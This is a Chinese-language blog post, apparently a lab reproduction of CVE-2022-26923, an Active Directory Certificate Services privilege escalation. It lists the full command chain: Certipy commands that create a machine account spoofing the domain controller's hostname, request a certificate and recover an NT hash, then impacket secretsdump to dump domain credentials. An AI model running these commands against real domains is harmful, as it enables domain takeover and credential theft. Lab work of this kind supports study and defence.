cve-2022-26923复现——域提权漏洞复现

秒速五厘米 2024-05-23 14:15 90阅读 0赞

## cve-2022-26923复现 ##

cve-2022-26923——域提权漏洞复现

#### 文章目录 ####

*  cve-2022-26923复现
 *  前言
 *  一、环境搭建
 *  二、使用工具
 *  三、漏洞复现（在已经拿到一个域控普通账户的前提下）

--------------------

## 前言 ##

Active Directory域权限提升漏洞(CVE-2022-26923)允许低权限用户在安装了 Active Directory证书服务(AD CS)服务器角色的默认Active Directory环境中将权限提升到域管理员。

影响范围：

Windows 8.1
    Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
    Windows 11
    Windows Server 2008，2012，2016，2019，2022

--------------------

## 一、环境搭建 ##

首先无脑搭建一个域控服务器，安装了Active Directory证书服务(AD CS)，并新建一个普通用户（test1）。  
![在这里插入图片描述][db4b2f30cec7403a8398220ccc1b1c93.png]  
本次使用的是：win server2019  
![在这里插入图片描述][303cdca4c4bd4aff96409f9ee9c057bb.png]

## 二、使用工具 ##

github上无脑下载  
Certipy-4.4.0  
impacket-master套件

## 三、漏洞复现（在已经拿到一个域控普通账户的前提下） ##

1、创建machine account

certipy account create -u test1@attack.local -p TESTtest@123 -user "testpc1" -dns "WIN-CL222QGDIFI.attack.local"

![在这里插入图片描述][af00d76a732a4d14946624dfe06d0b37.png]  
2、申请CA证书

certipy req -username testpc1\$@attack.local -password LIloPSXJlESPOn1G -ca attack-WIN-CL222QGDIFI-CA -target attack.local -template Machine -debug

![在这里插入图片描述][2c0ad4bf0d2c494cbf384f74cd496b03.png]  
3、获取machine account的NT hash

certipy auth -pfx win-cl222qgdifi.pfx

![在这里插入图片描述][af6c2e053db64784be531d1f34c9537b.png]

4、获取域控账户的hash值

secretsdump.py 'attack.local/WIN-CL222QGDIFI$@attack.local' -hashes aad3b435b51404eeaad3b435b51404ee:fcaae1b2fef3be0a0d6c30332fb11b70

![在这里插入图片描述][6385fe80f658461186ba232248f911ea.png]  
6、连接域控  
![在这里插入图片描述][2b8889a37701483599c4037a63661a7f.png]

[db4b2f30cec7403a8398220ccc1b1c93.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/f3e857a82b2a48d78ebe7194eb2a6a4c.png
[303cdca4c4bd4aff96409f9ee9c057bb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/26721a3597e641c19570ea37f10c2565.png
[af00d76a732a4d14946624dfe06d0b37.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/341af83285c74232b57fb8adeb541bfe.png
[2c0ad4bf0d2c494cbf384f74cd496b03.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/208697ffa48f4ce1bd9a1c202832d039.png
[af6c2e053db64784be531d1f34c9537b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/612696586fee4e7bbff8c60c6ab57ea5.png
[6385fe80f658461186ba232248f911ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/912d2cd6650141eb98b4aaf4296aeb2b.png
[2b8889a37701483599c4037a63661a7f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/efe43543c66341fb811867fa580311da.png